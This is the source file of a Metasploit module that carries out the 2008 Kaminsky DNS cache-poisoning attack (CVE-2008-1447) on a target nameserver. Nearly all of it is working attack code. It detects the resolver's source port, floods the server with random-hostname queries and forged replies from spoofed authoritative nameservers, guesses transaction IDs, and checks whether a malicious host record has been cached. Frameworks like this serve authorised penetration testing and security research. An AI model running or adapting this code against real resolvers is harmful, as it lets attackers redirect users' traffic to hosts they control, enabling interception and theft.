modules/auxiliary/spoof/dns/bailiwicked_host.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/dns'
require 'resolv'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random hostname
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for that domain. Eventually, a
guessed ID will match, the spoofed packet will get accepted, and due to the
additional hostname entry being within bailiwick constraints of the original
request the malicious host entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'OSVDB', '46776'],
[ 'US-CERT-VU', '800113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'DisclosureDate' => '2008-07-21'
))
register_options(
[
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
])
deregister_options('FILTER','PCAPFILE')
end
def auxiliary_commands
return {
"racer" => "Determine the size of the window for the target server"
}
end
def cmd_racer(*args)
targ = args[0] || rhost()
dom = args[1] || "example.com"
if !(targ and targ.length > 0)
print_status("usage: racer [dns-server] [domain]")
return
end
calculate_race(targ, dom)
end
def check
targ = rhost
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = {}
lport = nil
reps = 0
1.upto(30) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom(65535, 1.0)
if res and res.length > 0
reps += 1
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||=0
ports[t_port] +=1
end
end
end
if(i>5 and ports.keys.length == 0)
break
end
end
srv_sock.close
if(ports.keys.length == 0)
vprint_error("ERROR: This server is not replying to recursive requests")
return Exploit::CheckCode::Unknown
end
if(reps < 30)
vprint_warning("WARNING: This server did not reply to all of our requests")
end
if(random)
ports_u = ports.keys.length
ports_r = ((ports.keys.length/30.0)*100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def run
check_pcaprub_loaded # Check first.
target = rhost()
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
numxids = xids
domain = hostname.sub(/\w+\x2e/,"")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname)
t = Time.now + ttl
print_error("Failure: This hostname is already in the target cache: #{name}")
print_error(" Cache entry expires on #{t}... sleeping.")
cached = true
select(nil,nil,nil,ttl)
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
close_pcap
return
end
if(xids == 0)
print_status("Calculating the number of spoofed replies to send per query...")
qcnt = calculate_race(target, domain, 100)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server did not reply, giving up.")
srv_sock.close
close_pcap
return
end
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
open_pcap unless self.capture
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd = 1
src_ip = source
if(saddr == 'Random')
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
end
p = PacketFu::UDPPacket.new
p.ip_saddr = src_ip
p.ip_daddr = target
p.ip_ttl = 255
p.udp_sport = (rand((2**16)-1024)+1024).to_i
p.udp_dport = 53
p.payload = req.encode
p.recalc
capture_sendto(p, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1
# Reuse our PacketFu object
p.udp_sport = 53
p.udp_dport = sport.to_i
xidbase.upto(xidbase+numxids-1) do |id|
req.id = id
p.payload = req.encode
barbs.each do |barb|
p.ip_saddr = barb[:addr].to_s
p.recalc
capture_sendto(p, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
if(xids == 0)
print_status("Recalculating the number of spoofed replies to send per query...")
qcnt = calculate_race(target, domain, 25)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server has stopped replying, giving up.")
srv_sock.close
close_pcap
return
end
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
end
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname)
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
print_status("TTL: #{ttl} DATA: #{data}")
close_pcap
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
end
#
# Send a recursive query to the target server, then flood
# the server with non-recursive queries for the same entry.
# Calculate how many non-recursive queries we receive back
# until the real server responds. This should give us a
# ballpark figure for ns->ns latency. We can repeat this
# a few times to account for each nameserver the cache server
# may query for the target domain.
#
def calculate_race(server, domain, num=50)
q_beg_t = nil
q_end_t = nil
cnt = 0
times = []
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
sock = Rex::Socket.create_udp(
'PeerHost' => server,
'PeerPort' => 53
)
req = Resolv::DNS::Message.new
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
req.rd = 1
req.id = 1
q_beg_t = Time.now.to_f
sock.put(req.encode)
req.rd = 0
while(times.length < num)
res, addr = sock.recvfrom(65535, 0.01)
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
if(res.id == 1)
times << [Time.now.to_f - q_beg_t, cnt]
cnt = 0
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
sock.close
sock = Rex::Socket.create_udp(
'PeerHost' => server,
'PeerPort' => 53
)
q_beg_t = Time.now.to_f
req = Resolv::DNS::Message.new
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
req.rd = 1
req.id = 1
sock.put(req.encode)
req.rd = 0
end
cnt += 1
end
req.id += 1
sock.put(req.encode)
end
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
sum = 0
times.each{|i| sum += i[0]}
avg_time = ( (sum / times.length) * 100).to_i / 100.0
min_count = times.map{|i| i[1]}.min
max_count = times.map{|i| i[1]}.max
sum = 0
times.each{|i| sum += i[1]}
avg_count = sum / times.length
sock.close
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
avg_count
end
end